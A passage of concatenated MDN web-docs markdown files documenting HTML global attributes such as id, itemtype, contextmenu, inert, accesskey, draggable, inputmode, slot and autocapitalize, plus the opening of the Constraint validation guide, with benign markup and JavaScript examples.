CSS identifier. If the `id` starts with a digit or one hyphen immediately followed by a digit, both the hyphen and digit must be escaped in CSS. For example, while `id="544-383-3388"` and `id="-3Pi"` are valid in HTML, the `id` selectors must be escaped. The element with these `id` values can be targeted in CSS with `#\35 44-383-3388` and `#\2D \33 pi`. - Any valid HTML `id` value is valid as an attribute selector in CSS and JavaScript. The selectors `[id="544-383-3388"]` and `[id="-3Pi"]` are valid. - {{domxref("Document.querySelector()")}} and similar methods using CSS-selector-style queries will not find them unless you escape them. (See this [page](https://codepen.io/estelle/pen/jOvzbgb) for an example.) - Such an `id` is not a valid JavaScript identifier. [Elements with IDs become global properties](https://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-properties), but you cannot use non-identifier global properties as global variables — `1234` is not a global variable, and you have to use `window[1234]` instead to get the element with `id="1234"`. This is slightly inconvenient as you have to create the variable with an extra step: `const element = window[1234]`. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - {{domxref("Element.id")}} that reflects this attribute. - The {{domxref("Document.getElementById")}} method. - CSS [ID selectors](/en-US/docs/Web/CSS/ID_selectors).
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/itemtype/index.md
--- title: itemtype slug: Web/HTML/Global_attributes/itemtype page-type: html-attribute browser-compat: html.global_attributes.itemtype --- {{HTMLSidebar("Global_attributes")}} The [global attribute](/en-US/docs/Web/HTML/Global_attributes) **`itemtype`** specifies the URL of the vocabulary that will be used to define `itemprop`'s (item properties) in the data structure. [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) is used to set the scope of where in the data structure the vocabulary set by `itemtype` will be active. Google and other major search engines support the [schema.org](https://schema.org/) vocabulary for structured data. This vocabulary defines a standard set of type names and property names. For example, `MusicEvent` indicates a concert performance, with [`startDate`](https://schema.org/startDate) and [`location`](https://schema.org/location) properties specifying the concert's key details. In this case, [`MusicEvent`](https://schema.org/MusicEvent) would be the URL used by `itemtype`, with `startDate` and location as `itemprop`'s which [`MusicEvent`](https://schema.org/MusicEvent) defines. > **Note:** More about `itemtype` attributes can be found at <https://schema.org/Thing> - The **itemtype** attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute URL, and all defined to use the same vocabulary. The attribute's value must have at least one token. - The item types must all be types defined in applicable specifications (such as [schema.org](https://schema.org/)), and must all be defined to use the same vocabulary. - The itemtype attribute can only be specified on elements which have an itemscope attribute specified. - The itemid attribute can only be specified on elements which have both an itemscope attribute and an itemtype attribute specified. They must only be specified on elements with an itemscope attribute, whose itemtype attribute specifies a vocabulary not supporting global identifiers for items, as defined by that vocabulary's specification. - The exact meaning of a global identifier is determined by the vocabulary's specification. It is left to such specifications to define whether multiple items of the same global identifier (whether on the same page or different pages) are allowed to exist, and what processing rules for that vocabulary are, with respect to handling the case of multiple items with the same ID. ## Examples ### Representing structured data for a product This example uses microdata attributes to represent structured data for a product, as follows: <table class="standard-table"> <tbody> <tr> <td rowspan="7">itemscope</td> <td>itemtype</td> <td colspan="2">Product (https://schema.org/Product)</td> </tr> <tr> <td>itemprop</td> <td>name</td> <td>Executive Anvil</td> </tr> <tr> <td>itemprop</td> <td>image</td> <td> https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605_960_720.png </td> </tr> <tr> <td>itemprop</td> <td>description</td> <td> Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height. </td> </tr> <tr> <td>itemprop</td> <td>mpn</td> <td>925872</td> </tr> <tr> <td>itemprop</td> <td>brand [Thing]</td> <td></td> </tr> <tr> <td>itemprop</td> <td>name</td> <td>ACME</td> </tr> <tr> <td rowspan="9">itemscope</td> <td>itemprop[itemtype]</td> <td>aggregateRating[AggregateRating]</td> <td></td> </tr> <tr> <td>itemprop</td> <td>ratingValue</td> <td>4.4</td> </tr> <tr> <td>itemprop</td> <td>reviewCount</td> <td>89</td> </tr> <tr> <td>itemprop</td> <td>offers [Offer]</td> <td>https://schema.org/Offer</td> </tr> <tr> <td>itemprop</td> <td>priceCurrency</td> <td>USD</td> </tr> <tr> <td>itemprop</td> <td>price</td> <td>119.99</td> </tr> <tr> <td>itemprop</td> <td>priceValidUntil</td> <td>2020-11-05</td> </tr> <tr> <td>itemprop</td> <td>itemCondition</td> <td>https://schema.org/UsedCondition</td> </tr> <tr> <td>itemprop</td> <td>availability</td> <td>https://schema.org/InStock</td> </tr> <tr> <td rowspan="2">itemscope</td> <td>itemprop[itemtype]</td> <td>seller [Organization]</td> <td>https://schema.org/Organization</td> </tr> <tr> <td>itemprop</td> <td>name</td> <td>Executive Objects</td> </tr> </tbody> </table> > **Note:** A handy tool for extracting microdata structures from HTML is Google's [Structured Data Testing Tool](https://developers.google.com/search/docs/advanced/structured-data). Try it on the HTML shown here. #### HTML ```html <div itemscope itemtype="https://schema.org/Product"> <span itemprop="brand">ACME<br /></span> <span itemprop="name">Executive Anvil<br /></span> <img itemprop="image" src="https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605_960_720.png" width="50" height="50" alt="Executive Anvil logo" /><br /> <span itemprop="description"> Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height. <br /> </span> Product #: <span itemprop="mpn">925872<br /></span> <span itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"> Rating: <span itemprop="ratingValue">4.4</span> stars, based on <span itemprop="reviewCount">89 </span> reviews </span> <p> <span itemprop="offers" itemscope itemtype="https://schema.org/Offer"> Regular price: $179.99<br /> <meta itemprop="priceCurrency" content="USD" /> <span itemprop="price">Sale price: $119.99<br /></span> (Sale ends <time itemprop="priceValidUntil" datetime="2020-11-05">5 November!</time>) <br /> Available from: <span itemprop="seller" itemscope itemtype="https://schema.org/Organization"> <span itemprop="name">Executive Objects<br /></span> </span> Condition: <link itemprop="itemCondition" href="https://schema.org/UsedCondition" />Previously owned, in excellent condition<br /> <link itemprop="availability" href="https://schema.org/InStock" />In stock! Order now! </span> </p> </div> ``` #### Result {{EmbedLiveSample('Representing structured data for a product', '', '400')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Other different global attributes](/en-US/docs/Web/HTML/Global_attributes) - Other microdata related global attributes: - [`itemid`](/en-US/docs/Web/HTML/Global_attributes/itemid) - [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) - [`itemref`](/en-US/docs/Web/HTML/Global_attributes/itemref) - [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/contextmenu/index.md
--- title: contextmenu slug: Web/HTML/Global_attributes/contextmenu page-type: html-attribute status: - deprecated - non-standard browser-compat: html.global_attributes.contextmenu --- {{HTMLSidebar("Global_attributes")}}{{Deprecated_Header}}{{Non-standard_header}} The **`contextmenu`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is the [**id**](/en-US/docs/Web/HTML/Global_attributes/id) of a {{HTMLElement("menu")}} to use as the contextual menu for this element. A _context menu_ is a menu that appears upon user interaction, such as a right-click. HTML now allows us to customize this menu. Here are some implementation examples, including nested menus. ## Example ### HTML ```html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="LinkedIn" onclick="shareViaLinkedIn()"></menuitem> <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem> </menu> </menu> <ol> <li> Anywhere in the example you can share the page on LinkedIn and Facebook using the Share menu from your context menu. </li> <li contextmenu="changeFont" id="fontSizing"> On this specific list element, you can change the size of the text by using the "Increase/Decrease font" actions from your context menu </li> <menu type="context" id="changeFont"> <menuitem label="Increase Font" onclick="incFont()"></menuitem> <menuitem label="Decrease Font" onclick="decFont()"></menuitem> </menu> <li contextmenu="ChangeImage" id="changeImage"> On the image below, you can fire the "Change Image" action in your Context Menu.<br /> <img src="promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" alt="Better CSS Docs for a better web" /> <menu type="context" id="ChangeImage"> <menuitem label="Change Image" onclick="changeImage()"></menuitem> </menu> </li> </ol> </body> ``` ### JavaScript ```js function shareViaLinkedIn() { window.open( "https://www.linkedin.com/shareArticle?url=" + "Hurray! I am learning ContextMenu from MDN via Mozilla", ); } function shareViaFacebook() { window.open( "https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus", ); } function incFont() { document.getElementById("fontSizing").style.fontSize = "larger"; } function decFont() { document.getElementById("fontSizing").style.fontSize = "smaller"; } function changeImage() { const index = Math.ceil(Math.random() * 39 + 1); document.images[0].src = `${index}.png`; } ``` ### Result {{EmbedLiveSample("Example", "100%", 400)}} ## Specifications The [contextmenu attribute is obsolete](https://html.spec.whatwg.org/multipage/obsolete.html#attr-contextmenu) and will be removed from all browsers. ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/inert/index.md
--- title: inert slug: Web/HTML/Global_attributes/inert page-type: html-attribute browser-compat: html.global_attributes.inert --- {{HTMLSidebar("Global_attributes")}} The **`inert`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is a Boolean attribute indicating that the browser will ignore the element. With the `inert` attribute, all of the element's flat tree descendants (such as modal {{htmlelement("dialog")}}s) that don't otherwise escape inertness are ignored. The `inert` attribute also makes the browser ignore input events sent by the user, including focus-related events and events from assistive technologies. Specifically, `inert` does the following: - Prevents the {{domxref("Element/click_event", "click")}} event from being fired when the user clicks on the element. - Prevents the {{domxref("Element/focus_event", "focus")}} event from being raised by preventing the element from gaining focus. - Hides the element and its content from assistive technologies by excluding them from the accessibility tree. ```html <body inert> <!-- content --> </body> ``` The `inert` attribute can be added to sections of content that should not be interactive. When an element is inert, it along with all of the element's descendants, including normally interactive elements such as links, buttons, and form controls are disabled because they cannot receive focus or be clicked. The `inert` attribute can also be added to elements that should be offscreen or hidden. An inert element, along with its descendants, gets removed from the tab order and accessibility tree. > **Note:** While `inert` is a global attribute and can be applied to any element, it is generally used for sections of content. To make individual controls "inert", consider using the [`disabled`](/en-US/docs/Web/HTML/Attributes/disabled) attribute, along with CSS [`:disabled`](/en-US/docs/Web/CSS/:disabled) styles, instead. ## Accessibility concerns Use careful consideration for accessibility when applying the `inert` attribute. By default, there is no visual way to tell whether or not an element or its subtree is inert. As a web developer, it is your responsibility to clearly indicate the content parts that are active and those that are inert. While providing visual and non-visual cues about content inertness, also remember that the visual viewport may contain only sections of content. Users may be zoomed in to a small section of content, or users may not be able to view the content at all. Inert sections not being obviously inert can lead to frustration and bad user experience. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - HTML {{HTMLElement("dialog")}} element - {{domxref("HTMLElement.inert")}} HTML DOM property - [Introducing inert](https://developer.chrome.com/docs/css-ui/inert) - [The "inert" attribute is finally coming to the web](https://www.stefanjudis.com/blog/the-inert-attribute-is-finally-coming-to-the-web/)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/accesskey/index.md
--- title: accesskey slug: Web/HTML/Global_attributes/accesskey page-type: html-attribute browser-compat: html.global_attributes.accesskey --- {{HTMLSidebar("Global_attributes")}} The **`accesskey`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) provides a hint for generating a keyboard shortcut for the current element. The attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard). {{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}} > **Note:** In the WHATWG spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. However, this does not work in most browsers. IE/Edge uses the first one it supports without problems, provided there are no conflicts with other commands. The way to activate the accesskey depends on the browser and its platform: <table class="standard-table"> <tbody> <tr> <th></th> <th>Windows</th> <th>Linux</th> <th>Mac</th> </tr> <tr> <th>Firefox</th> <td colspan="2"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td> <td> <ul> <li>Firefox 57+: <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd> or <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd></li> <li>Firefox 14-56: <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd></li> <li>Firefox 13 or older: <kbd>Control</kbd> + <kbd><em>key</em></kbd></li> </ul> </td> </tr> <tr> <th>Edge</th> <td rowspan="2"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td> <td rowspan="2"> <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd><br>or <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd> </td> <td>n/a</td> </tr> <tr> <th>Google Chrome</th> <td><kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd></td> </tr> <tr> <th>Safari</th> <td colspan="2">n/a</td> <td><kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd></td> </tr> <tr> <th>Opera 15+</th> <td colspan="2"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td> <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd></td> </tr> <tr> <th>Opera 12</th> <td colspan="3"> <kbd>Shift</kbd> + <kbd>Esc</kbd> opens a list of available accesskeys. Choose an item from the list by pressing the <kbd><em>key</em></kbd>. </td> </tr> </tbody> </table> ## Accessibility concerns In addition to poor browser support, there are numerous concerns with the `accesskey` attribute: - An `accesskey` value can conflict with a system or browser keyboard shortcut, or assistive technology functionality. What may work for one combination of operating system, assistive technology, and browser may not work with other combinations. - Certain `accesskey` values may not be present on certain keyboards, especially when internationalization is a concern. So adapting to specific languages could cause further problems. - `accesskey` values that rely on numbers may be confusing to individuals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers. - Informing the user that `accesskey`s are present, so that they are aware of the functionality. If the system lacks a method of notifying the user about this feature, the user might accidentally activate `accesskey`s. Because of these issues, it is generally advised not to use `accesskey`s for most general-purpose websites and web apps. - [WebAIM: Keyboard Accessibility - Accesskey](https://webaim.org/techniques/keyboard/accesskey#spec) ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{domxref("HTMLElement.accessKey")}} - {{domxref("HTMLElement.accessKeyLabel")}} - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - [`aria-keyshortcuts`](https://www.w3.org/TR/wai-aria-1.1/#aria-keyshortcuts)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/draggable/index.md
--- title: draggable slug: Web/HTML/Global_attributes/draggable page-type: html-attribute browser-compat: html.global_attributes.draggable --- {{HTMLSidebar("Global_attributes")}} The **`draggable`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute that indicates whether the element can be dragged, either with native browser behavior or the [HTML Drag and Drop API](/en-US/docs/Web/API/HTML_Drag_and_Drop_API). The `draggable` attribute may be applied to elements that strictly fall under the [HTML namespace](/en-US/docs/Glossary/Namespace), which means that it cannot be applied to [SVGs](/en-US/docs/Web/SVG). For more information about what namespace declarations look like, and what they do, see [Namespace crash course](/en-US/docs/Web/SVG/Namespaces_Crash_Course). `draggable` can have the following values: - `true`: the element can be dragged. - `false`: the element cannot be dragged. > **Warning:** This attribute is _[enumerated](/en-US/docs/Glossary/Enumerated)_ and not _Boolean_. A value of `true` or `false` is mandatory, and shorthand like `<img draggable>` is forbidden. The correct usage is `<img draggable="false">`. If this attribute is not set, its default value is `auto`, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. For other elements, the event {{domxref('HTMLElement.dragstart_event', 'ondragstart')}} must be set for drag and drop to work, as shown in this [comprehensive example](/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes).
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/inputmode/index.md
--- title: inputmode slug: Web/HTML/Global_attributes/inputmode page-type: html-attribute browser-compat: html.global_attributes.inputmode --- {{HTMLSidebar("Global_attributes")}} The **`inputmode`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute that hints at the type of data that might be entered by the user while editing the element or its contents. This allows a browser to display an appropriate virtual keyboard. It is used primarily on {{HTMLElement("input")}} elements, but is usable on any element in [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes#contenteditable) mode. It's important to understand that the `inputmode` attribute doesn't cause any validity requirements to be enforced on input. To require that input conforms to a particular data type, choose an appropriate [`<input> element type`](/en-US/docs/Web/HTML/Element/input#input_types). For specific guidance on choosing {{HTMLElement("input")}} types, see the [Values](#values) section. ## Values The attribute can have any of the following values: - `none` - : No virtual keyboard. For when the page implements its own keyboard input control. - `text` (default value) - : Standard input keyboard for the user's current locale. - `decimal` - : Fractional numeric input keyboard containing the digits and decimal separator for the user's locale (typically <kbd>.</kbd> or <kbd>,</kbd>). Devices may or may not show a minus key (<kbd>-</kbd>). - `numeric` - : Numeric input keyboard, but only requires the digits 0–9. Devices may or may not show a minus key. - `tel` - : A telephone keypad input, including the digits 0–9, the asterisk (<kbd>*</kbd>), and the pound (<kbd>#</kbd>) key. Inputs that *require\* a telephone number should typically use `{{HTMLElement("input/tel", '&lt;input type="tel"&gt;')}}` instead. - `search` - : A virtual keyboard optimized for search input. For instance, the [return/submit key](https://html.spec.whatwg.org/multipage/interaction.html#input-modalities:-the-enterkeyhint-attribute) may be labeled "Search", along with possible other optimizations. Inputs that _require_ a search query should typically use `{{HTMLElement("input/search", '&lt;input type="search"&gt;')}}` instead. - `email` - : A virtual keyboard optimized for entering email addresses. Typically includes the <kbd>@</kbd>character as well as other optimizations. Inputs that _require_ email addresses should typically use `{{HTMLElement("input/email", '&lt;input type="email"&gt;')}}` instead. - `url` - : A keypad optimized for entering URLs. This may have the <kbd>/</kbd> key more prominent, for example. Enhanced features could include history access and so on. Inputs that _require_ a URL should typically use `{{HTMLElement("input/url", '&lt;input type="url"&gt;')}}` instead. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - [`enterkeyhint`](/en-US/docs/Web/HTML/Global_attributes/enterkeyhint) global attribute
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/slot/index.md
--- title: slot slug: Web/HTML/Global_attributes/slot page-type: html-attribute browser-compat: html.global_attributes.slot --- {{HTMLSidebar("Global_attributes")}} The **`slot`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) assigns a slot in a [shadow DOM](/en-US/docs/Web/API/Web_components/Using_shadow_DOM) shadow tree to an element: An element with a `slot` attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose [`name`](/en-US/docs/Web/HTML/Element/slot#name) attribute's value matches that `slot` attribute's value. For examples, see our [Using templates and slots](/en-US/docs/Web/API/Web_components/Using_templates_and_slots) guide. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - HTML [global attributes](/en-US/docs/Web/HTML/Global_attributes) - HTML {{HTMLElement("slot")}} element - HTML {{HTMLElement("template")}} element - CSS {{CSSXref("::slotted")}} pseudo-element - [CSS scoping](/en-US/docs/Web/CSS/CSS_scoping) module - [Web components](/en-US/docs/Web/API/Web_components)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/autocapitalize/index.md
--- title: autocapitalize slug: Web/HTML/Global_attributes/autocapitalize page-type: html-attribute browser-compat: html.global_attributes.autocapitalize --- {{HTMLSidebar("Global_attributes")}} The **`autocapitalize`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute that controls whether inputted text is automatically capitalized and, if so, in what manner. This is relevant to: - {{htmlelement("input")}} and {{htmlelement("textarea")}} elements. - Any element with [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes/contenteditable) set on it. `autocapitalize` doesn't affect behavior when typing on a physical keyboard. It affects the behavior of other input mechanisms such as virtual keyboards on mobile devices and voice input. This can assist users by making data entry quicker and easier, for example by automatically capitalizing the first letter of each sentence. ## Value Possible values are: - `none` or `off` - : Do not automatically capitalize any text. - `sentences` or `on` - : Automatically capitalize the first character of each sentence. - `words` - : Automatically capitalize the first character of each word. - `characters` - : Automatically capitalize every character. ## Usage notes - `autocapitalize` can be set on `<input>` and `<textarea>` elements, _and_ on their containing {{htmlelement("form")}} elements. When `autocapitalize` is set on a `<form>` element, it sets the autocapitalize behavior for all contained `<input>`s and `<textarea>`s, overriding any `autocapitalize` values set on contained elements. - `autocapitalize` has no effect on the `url`, `email`, or `password` `<input>` types, where autocapitalization is never enabled. - Where `autocapitalize` is not specified, the adopted default behavior varies between browsers. For example: - Chrome and Safari default to `on`/`sentences` - Firefox defaults to `off`/`none`. ## Examples ### HTML ```html <p>Form to test different autocapitalize settings:</p> <form> <div> <label for="default">Default: no autocapitalize set</label> <input type="text" id="default" name="default" /> </div> <div> <label for="off">autocapitalize="off"</label> <input type="text" id="off" name="off" autocapitalize="off" /> </div> <div> <label for="none">autocapitalize="none"</label> <input type="text" id="none" name="none" autocapitalize="none" /> </div> <div> <label for="on">autocapitalize="on"</label> <input type="text" id="on" name="on" autocapitalize="on" /> </div> <div> <label for="sentences">autocapitalize="sentences"</label> <input type="text" id="sentences" name="sentences" autocapitalize="sentences" /> </div> <div> <label for="words">autocapitalize="words"</label> <input type="text" id="words" name="words" autocapitalize="words" /> </div> <div> <label for="characters">autocapitalize="characters"</label> <input type="text" id="characters" name="characters" autocapitalize="characters" /> </div> <div> <label for="characters-ta">autocapitalize="characters" on textarea</label> <textarea type="text" id="characters-ta" name="characters-ta" autocapitalize="characters"> </textarea> </div> </form> <hr /> <p contenteditable autocapitalize="characters"> This content is editable and has autocapitalize="characters" set on it </p> ``` ```css hidden div { margin-bottom: 20px; } ``` ## Result Test the effect on each input using a virtual keyboard or voice entry (keyboard entry will not work). {{ EmbedLiveSample("Examples", "100%", "500") }} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/constraint_validation/index.md
--- title: Constraint validation slug: Web/HTML/Constraint_validation page-type: guide --- {{HTMLSidebar}} The creation of web forms has always been a complex task. While marking up the form itself is easy, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. [HTML5](/en-US/docs/Glossary/HTML5) introduced new mechanisms for forms: it added new semantic types for the {{ HTMLElement("input") }} element and _constraint validation_ to ease the work of checking the form content on the client side. Basic, usual constraints can be checked, without the need for JavaScript, by setting new attributes; more complex constraints can be tested using the Constraint Validation API. For a basic introduction to these concepts, with examples, see the [Form validation tutorial](/en-US/docs/Learn/Forms/Form_validation). > **Note:** HTML Constraint validation doesn't remove the need for validation on the _server side_. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent such as by bad people trying to trick your web application. Therefore, you need to always also validate input constraints on the server side, in a way that is consistent with what is done on the client side. ## Intrinsic and basic constraints In HTML, basic constraints are declared in two ways: - By choosing the most semantically appropriate value for the [`type`](/en-US/docs/Web/HTML/Element/input#type) attribute of the {{ HTMLElement("input") }} element, e.g., choosing the `email` type automatically creates a constraint that checks whether the value is a valid email address. - By setting values on validation-related attributes, allowing basic constraints to be described in a simple way, without the need for JavaScript. ### Semantic input types The intrinsic constraints for the [`type`](/en-US/docs/Web/HTML/Element/input#type) attribute are: | Input type | Constraint description | Associated violation | | ------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | | [`<input type="URL">`](/en-US/docs/Web/HTML/Element/input/url) | The value must be an absolute [URL](/en-US/docs/Learn/Common_questions/Web_mechanics/What_is_a_URL), as defined in the [URL Living Standard](https://url.spec.whatwg.org/). | **[TypeMismatch](/en-US/docs/Web/API/ValidityState/typeMismatch)** constraint violation | | [`<input type="email">`](/en-US/docs/Web/HTML/Element/input/email) | The value must be a syntactically valid email address, which generally has the format `[email protected]` but can also be local such as `username@hostname`. | **[TypeMismatch](/en-US/docs/Web/API/ValidityState/typeMismatch)** constraint violation | For both of these input types, if the [`multiple`](/en-US/docs/Web/HTML/Element/input#multiple) attribute is set, several values can be set, as a comma-separated list. If any of these do not satisfy the condition described here, the **Type mismatch** constraint violation is triggered. Note that most input types don't have intrinsic constraints, as some are barred from constraint validation or have a sanitization algorithm transforming incorrect values to a correct default. ### Validation-related attributes In addition to the `type` attribute described above, the following attributes are used to describe basic constraints: <table class="standard-table"> <thead> <tr> <th scope="col">Attribute</th> <th scope="col">Input types supporting the attribute</th> <th scope="col">Possible values</th> <th scope="col">Constraint description</th> <th scope="col">Associated violation</th> </tr> </thead> <tbody> <tr> <td> <code ><a href="/en-US/docs/Web/HTML/Attributes/pattern">pattern</a></code > </td> <td> <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>password</code> </td> <td> A <a href="/en-US/docs/Web/JavaScript/Guide/Regular_expressions" >JavaScript regular expression</a > (compiled with the {{jsxref("RegExp.global", "global")}}, {{jsxref("RegExp.ignoreCase", "ignoreCase")}}, and {{jsxref("RegExp.multiline", "multiline")}} flags <em>disabled</em>) </td> <td>The value must match the pattern.</td> <td> <a href="/en-US/docs/Web/API/ValidityState/patternMismatch" ><strong><code>patternMismatch</code></strong></a > constraint violation </td> </tr> <tr> <td rowspan="3"> <code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> </td> <td><code>range</code>, <code>number</code></td> <td>A valid number</td> <td rowspan="3">The value must be greater than or equal to the value.</td> <td rowspan="3"> <strong ><code ><a href="/en-US/docs/Web/API/ValidityState/rangeUnderflow" >rangeUnderflow</a ></code ></strong > constraint violation </td> </tr> <tr> <td><code>date</code>, <code>month</code>, <code>week</code></td> <td>A valid date</td> </tr> <tr> <td> <code>datetime-local</code>, <code>time</code> </td> <td>A valid date and time</td> </tr> <tr> <td rowspan="3"> <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code> </td> <td><code>range</code>, <code>number</code></td> <td>A valid number</td> <td rowspan="3">The value must be less than or equal to the value</td> <td rowspan="3"> <strong ><code ><a href="/en-US/docs/Web/API/ValidityState/rangeOverflow" >rangeOverflow</a ></code ></strong > constraint violation </td> </tr> <tr> <td><code>date</code>, <code>month</code>, <code>week</code></td> <td>A valid date</td> </tr> <tr> <td> <code>datetime-local</code>, <code>time</code> </td> <td>A valid date and time</td> </tr> <tr> <td> <code ><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></code > </td> <td> <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>password</code>, <code>date</code>, <code>datetime-local</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>number</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>; also on the {{ HTMLElement("select") }} and {{ HTMLElement("textarea") }} elements </td> <td> <em>none</em> as it is a Boolean attribute: its presence means <em>true</em>, its absence means <em>false</em> </td> <td>There must be a value (if set).</td> <td> <strong ><code ><a href="/en-US/docs/Web/API/ValidityState/valueMissing" >valueMissing</a ></code ></strong > constraint violation </td> </tr> <tr> <td rowspan="5"> <code><a href="/en-US/docs/Web/HTML/Attributes/step">step</a></code> </td> <td><code>date</code></td> <td>An integer number of days</td> <td rowspan="5"> Unless the step is set to the <code>any</code> literal, the value must be <strong>min</strong> + an integral multiple of the step. </td> <td rowspan="5"> <strong ><code ><a href="/en-US/docs/Web/API/ValidityState/stepMismatch" >stepMismatch</a ></code ></strong > constraint violation </td> </tr> <tr> <td><code>month</code></td> <td>An integer number of months</td> </tr> <tr> <td><code>week</code></td> <td>An integer number of weeks</td> </tr> <tr> <td> <code>datetime-local</code>, <code>time</code> </td> <td>An integer number of seconds</td> </tr> <tr> <td><code>range</code>, <code>number</code></td> <td>An integer</td> </tr> <tr> <td> <code ><a href="/en-US/docs/Web/HTML/Attributes/minlength" >minlength</a ></code > </td> <td> <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>password</code>; also on the {{ HTMLElement("textarea") }} element </td> <td>An integer length</td> <td> The number of characters (code points) must not be less than the value of the attribute, if non-empty. All newlines are normalized to a single character (as opposed to CRLF pairs) for {{ HTMLElement("textarea") }}. </td> <td> <strong ><code ><a href="/en-US/docs/Web/API/ValidityState/tooShort" >tooShort</a ></code ></strong > constraint violation </td> </tr> <tr> <td> <code ><a href="/en-US/docs/Web/HTML/Attributes/maxlength" >maxlength</a ></code > </td> <td> <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>password</code>; also on the {{ HTMLElement("textarea") }} element </td> <td>An integer length</td> <td> The number of characters (code points) must not exceed the value of the attribute. </td> <td> <strong ><code ><a href="/en-US/docs/Web/API/ValidityState/tooLong" >tooLong</a ></code ></strong > constraint violation </td> </tr> </tbody> </table> ## Constraint validation process Constraint validation is done through the Constraint Validation API either on a single form element or at the form level, on the {{ HTMLElement("form") }} element itself. The constraint validation is done in the following ways: - By a call to the `checkValidity()` or `reportValidity()` method of a form-associated DOM interface, ([`HTMLInputElement`](/en-US/docs/Web/API/HTMLInputElement), [`HTMLSelectElement`](/en-US/docs/Web/API/HTMLSelectElement), [`HTMLButtonElement`](/en-US/docs/Web/API/HTMLButtonElement), 